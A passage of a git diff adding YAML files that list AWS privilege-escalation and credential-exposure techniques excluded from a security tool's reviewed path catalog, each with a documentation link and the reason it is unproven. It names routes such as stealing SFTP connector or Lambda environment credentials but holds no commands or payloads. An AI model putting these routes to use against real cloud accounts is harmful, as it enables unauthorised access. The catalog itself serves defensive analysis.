source_revision: 171e422299 + technique: Run an attacker-selected ad-hoc S3 batch job in an existing M2 application + reason: Starting an existing batch job does not prove that its program executes a source-controlled + command or exposes the runtime role. + prior_id: aws-m2-startbatchjob-adhoc-s3 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#omicsstartrun--iampassrole + source_revision: 171e422299 + technique: Start a HealthOmics workflow run with a passed service role + reason: StartRun and PassRole do not prove the selected workflow executes source-controlled + code; workflow control is only a prose condition. + prior_id: aws-healthomics-passrole-startrun diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml new file mode 100644 index 0000000000..34614f28cb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml @@ -0,0 +1,6 @@ +# Amazon FinSpace ended support on October 7, 2026; its resources are no longer accessible. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a FinSpace Managed kdb cluster with a passed execution role + reason: AWS states that Amazon FinSpace resources are no longer accessible after October 7, 2026, so CreateKxCluster cannot produce a new role-execution path. The previous active definition remains available through the exact historical catalog binding. + prior_id: aws-finspace-passrole-createkxcluster diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..7f21bf3767 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,33 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-iamaddroletoinstanceprofile + source_revision: 171e422299 + technique: Add a role to an instance profile used by an instance the source controls + reason: AddRoleToInstanceProfile and PassRole can put a role in one empty instance profile, + or replacement additionally needs RemoveRoleFromInstanceProfile. The profile must then be + attached to an exact instance the caller can run code on, and that instance must expose + usable profile credentials through IMDS after propagation. Current inventory has no + caller-to-instance code or session foothold and no profile-change-to-credential witness; + placing the role in a profile alone does not yield its credentials. + prior_id: aws-ec2-passrole-addroletoinstanceprofile +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a Parallel Computing Service (PCS) compute node group with a passed instance + profile + reason: Node group creation starts compute capacity, but the source is not proved to submit + a job or execute on the nodes; that separate foothold is only a prose condition. + prior_id: aws-pcs-passrole-createcomputenodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdateprofile--remove-the-session-policy-boundary + source_revision: 171e422299 + technique: Remove the session-policy restriction of an IAM Roles Anywhere profile + reason: The source is not proved to possess a usable private key and accepted certificate for + the exact profile and role, nor that the removed session policy previously denied a permission; + profile mutation alone grants no caller session. + prior_id: aws-rolesanywhere-updateprofile-remove-session-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywheredeleteattributemapping--putattributemapping--exploit-missing-certificate-tags + source_revision: 6fb9ac51fd + technique: Remove a certificate attribute mapping that a negative role-trust condition relies + on + reason: The source is not proved to possess a usable private key/certificate or that the exact + role trust has the described negative/IfExists condition; mapping mutation alone grants no + credential. + prior_id: aws-rolesanywhere-attributemapping-negative-trust-condition diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml new file mode 100644 index 0000000000..4867132557 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml @@ -0,0 +1,9 @@ +# GameLift fleet variants not proven by the active new-build EC2 fleet route. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create a container fleet with a passed role and controlled container group + reason: CreateContainerFleet is a separate API using FleetRoleArn and named container group definitions. The active CreateBuild plus CreateFleet route does not authorize it. A role edge needs a group definition whose image and runtime the source controls, a runnable deployment and the exact role's availability inside that container. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create an EC2 fleet with a passed role and a pre-existing controlled build or script + reason: The active new-build route requires CreateBuild. An existing build or script could be usable without that action only if the source controls its executable bytes or startup path and can select it in an authorized CreateFleet request with the exact passed role. Those artifact-control and request joins are not yet proven. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml new file mode 100644 index 0000000000..66975cd5d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml @@ -0,0 +1,1141 @@ +# Per-technique exclusion decisions for unproven generated AWS entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: aws-amplify-artifact-credential + reason: 'Download E2E artifacts that may contain tokens: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: aws-amplify-config-credential + reason: 'Read plaintext variables and build-log URLs that may contain credentials: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + technique: aws-audit-create-association-targeting-hybrid-managed-node + reason: 'Create association targeting hybrid managed node: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets + technique: aws-audit-exfiltrate-eventbridge-connection-credential-via-teststate-http-task + reason: 'Exfiltrate EventBridge Connection credential via TestState HTTP Task: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-gamelift-streams-enum.md#enumerate-bearer-stream-urls + technique: aws-audit-gameliftstreams-bearer-url + reason: 'Use a GameLift Streams bearer URL: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-7128f3c7 + reason: 'Recover IVS real-time ingest credentials: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-997dd8c9 + reason: 'Recover IVS low-latency stream publishing key: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-fd578249 + reason: 'Recover IVS secure SRT passphrase: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + technique: aws-audit-jit-shell-to-hybrid-managed-instance + reason: 'JIT shell to hybrid managed instance: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + technique: aws-audit-promote-controlled-workdocs-user-to-administrator + reason: 'Promote controlled WorkDocs user to administrator: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + technique: aws-audit-redirect-connector-to-steal-partner-sftp-credential + reason: 'Redirect connector to steal partner SFTP credential: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: aws-audit-reset-wickr-retention-bot-challenge-and-operate-bot + reason: 'Reset Wickr retention-bot challenge and operate bot: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + technique: aws-audit-resume-disconnected-hybrid-node-session + reason: 'Resume disconnected hybrid-node session: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + source_revision: 0d0ea06005 + technique: aws-audit-trigger-stored-query-that-delivers-restricted-secrets + reason: 'Trigger stored query that delivers restricted secrets: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#read-environment-secrets-and-export-the-schema + technique: aws-audit2-appsync-2 + reason: 'Read environment secrets and export the schema: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-1 + reason: 'Query-history and result disclosure: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-2 + reason: 'GetQueryResults with result-object access: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#meetings + technique: aws-chime-attendee-jointoken-read + reason: 'Read another Chime meeting attendee JoinToken: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md#enumeration + technique: aws-codebuild-read-plaintext-aws-credential + reason: 'Recover another AWS principal''s credential from build variables: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: aws-codepipeline-getjobdetails-artifact-session + reason: 'codepipeline:GetJobDetails: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: aws-codepipeline-pollforjobs-artifact-session + reason: 'codepipeline:PollForJobs: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md#directory-and-client-secret-disclosure + technique: aws-cognito-describeidentityprovider-upstream-client-secret + reason: 'DescribeIdentityProvider can return an upstream OAuth client secret. This credential identifies the + application at that provider; it does not authenticate an upstream user or issue AWS IAM credentials. A later + user login and Cognito token-to-role mapping would be separate routes with their own exact evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-cognito-upstream-idp-client-secret + reason: 'This is the same upstream application-client credential read as DescribeIdentityProvider. The secret + alone cannot identify or authenticate a user and does not vend another AWS principal; any downstream identity + route needs a separately established user login and token-to-role mapping.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#collect-contact-metadata-attributes-references-and-files + technique: aws-connect-contact-credential + reason: 'Recover a credential persisted in Connect contact attributes or attached files: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#read-or-monitor-live-conversations + technique: aws-connect-conversation-credential + reason: 'Capture a credential from live voice/chat transcript or monitor session: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-enum.md#authorization-and-unauthenticated-boundary + technique: aws-connect-createparticipant-bearer + reason: 'Mint a participant bearer for an active Connect contact: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#recover-flow-source-and-integration-targets + technique: aws-connect-flow-credential + reason: 'Recover hard-coded credential from Connect flow/module source: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#intercept-and-alter-an-active-chat-with-a-custom-message-processor + technique: aws-connect-processor-credential + reason: 'Capture a credential through controlled Connect message processor: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#stream-an-active-chat-to-a-cross-account-sns-topic + technique: aws-connect-stream-credential + reason: 'Capture a credential from cross-account live chat stream: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datazone-persistence/README.md#add-an-attacker-profile-as-a-project-owner + technique: aws-datazone-createprojectmembership-owner + reason: 'CreateProjectMembership can grant an allowed, controlled DataZone profile project membership, but that + alone is application authorization. A role edge also needs project-owner or domain authorization, the domain-unit + membership policy, the controlled profile with GetEnvironmentCredentials, an active environment in that project, + its exact associated IAM role and the effective restrictions on the issued session. The current inventory does + not join these facts, so a bare CreateProjectMembership grant must not imply the whole role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: aws-ec2-launchtemplate-embedded-iam-key + reason: 'Read IAM access keys embedded in EC2 launch-template user data: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: aws-ecr-image-embedded-credential + reason: 'ECR image-layer embedded credential theft: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + technique: aws-eks-updatepodidentityassociation-targetrole + reason: 'Repoint EKS Pod Identity targetRoleArn to a cross-account role: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#eventbridge-rule-targets + technique: aws-events-listtargets-static-credential + reason: 'ListTargetsByRule can disclose static Input or InputTemplate content, but most target payloads are not + AWS credentials. A principal edge requires a complete usable credential tuple, a verified exact IAM subject and + additional effective authority. A target RoleArn or secret ARN is only a locator. The current inventory does not + safely extract and verify such credential material, so the read grant alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-healthomics-enum.md#cloudtrail-and-stealth + technique: aws-healthomics-cloudtrail-workflow-zip-credential + reason: 'CloudTrail may contain the base64 definitionZip from CreateWorkflow, but neither + the HealthOmics page nor CloudTrail event metadata establishes that the ZIP contains AWS + credentials. The source might read the event through CloudTrail, a trail S3 object or a + separate log store, so the required read action and exact event resource also vary. A + principal edge needs the actual decoded ZIP, a complete usable credential, its verified + AWS principal and additional effective authority; no such content is inventoried by the + CSPM. Do not infer another role from the ability to read a workflow event.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#enumerate-and-read-cdc-streams + technique: aws-keyspaces-cdc-credential-record + reason: 'Keyspaces CDC GetRecords can return changed table values on a permitted exact + stream, but the stream API does not identify those values as AWS credentials. A principal + edge requires an actual record with a complete usable credential, verified AWS subject + and extra effective authority, plus the source''s GetStream/GetShardIterator/GetRecords + rights on that stream. The CSPM does not collect stream contents or validate credential + subjects, so stream-read permission alone cannot establish this route.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#connect-to-cql-with-sigv4 + technique: aws-keyspaces-select-credential-row + reason: 'cassandra:Select on an exact user table permits reading its rows, with system + table access often needed by CQL clients, but neither the permission nor table schema + proves any row contains an AWS credential. A principal edge needs an actual complete + usable credential row, verified AWS subject and extra effective authority. The CSPM + does not read customer table rows or validate credential subjects; table-read permission + alone is data access, not another IAM principal.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#lambda-durable-executions + technique: aws-lambda-durablehistory-secret-identity + reason: 'GetDurableExecutionHistory with IncludeExecutionData can reveal retained step + inputs, results and callbacks for an exact durable execution; a customer-managed KMS key + also requires caller kms:Decrypt. The API does not identify that content as AWS credentials. + A role edge would need a real complete usable credential in the returned history, its + verified AWS principal and added authority. The CSPM does not collect execution payloads + or validate credential subjects, so history-read permission alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-getfunction-package-secret-identity + reason: 'Recover a distinct identity credential from Lambda deployment package: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listfunctions-secret-identity + reason: 'Recover a distinct identity credential from ListFunctions environment: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listversions-secret-identity + reason: 'Recover a distinct identity credential from ListVersionsByFunction environment: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lex-v2-enum.md#runtime-sessions-and-stored-utterances + technique: aws-lex-getsession-other-application-session + reason: 'Lex GetSession returns a bot conversation state and its session attributes for + the supplied bot alias, locale and session ID. These values may expose application data, + but a Lex session ID is not an IAM or STS credential and GetSession does not grant the + caller another AWS principal. If a particular application stores an AWS secret in a + session attribute, that requires separate content and credential-subject evidence. + Keep generic application-session disclosure outside the principal graph.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-pa-persist-s01-01 + reason: 'Create EAB for an existing issuance role, recover binding, register ACME account: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: aws-pa-s03-4-rds-proxy-auth-secret + reason: 'RDS Proxy auth secrets hold database usernames and passwords for backend + connections. DescribeDBProxies can identify a configured secret and GetSecretValue may + disclose its value, but that credential authenticates a database user, not an IAM role. + End-to-end IAM-authenticated proxies may have no backend password secret. Report the + database credential exposure separately; the role target in the retired YAML was an + unsupported principal-to-principal claim.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#establish-an-attacker-owned-consortium-member + technique: aws-peaso-establish-an-attacker-owned-consortium-member + reason: 'Join Fabric consortium with controlled member: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#mint-an-accessor-bearer-credential + technique: aws-peaso-mint-an-accessor-bearer-credential + reason: 'Create AMB billing bearer credential: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: aws-rds-dbconnect-aurora-role + reason: 'IAM DB authentication plus Aurora cluster role association: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + technique: aws-s05-01-token-for-an-existing-admin-grafana-service-account + reason: 'Token for an existing ADMIN Grafana service account: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + technique: aws-s05-04-read-public-msk-sasl-scram-secret + reason: 'An MSK-associated Secrets Manager secret contains a Kafka SASL/SCRAM username + and password. Reading that secret may permit broker authentication when network access + and Kafka ACLs allow it, but the password is not an IAM or STS credential and gives no + other AWS principal authority. The retired role target conflated Kafka topic access with + AWS principal escalation; retain the credential exposure as a separate data-plane issue.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + source_revision: 3ad99dc7ac + technique: aws-s05-10-lambda-getfunction-download-a-function-deployment-packa + reason: '`lambda:GetFunction` — Download a function deployment package: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + source_revision: 3ad99dc7ac + technique: aws-s05-11-lambda-getfunctionconfiguration-read-environment-variab + reason: '`lambda:GetFunctionConfiguration` — Read environment variables: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + source_revision: 3ad99dc7ac + technique: aws-s05-12-lambda-getlayerversion-download-layer-code + reason: '`lambda:GetLayerVersion` — Download layer code: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the 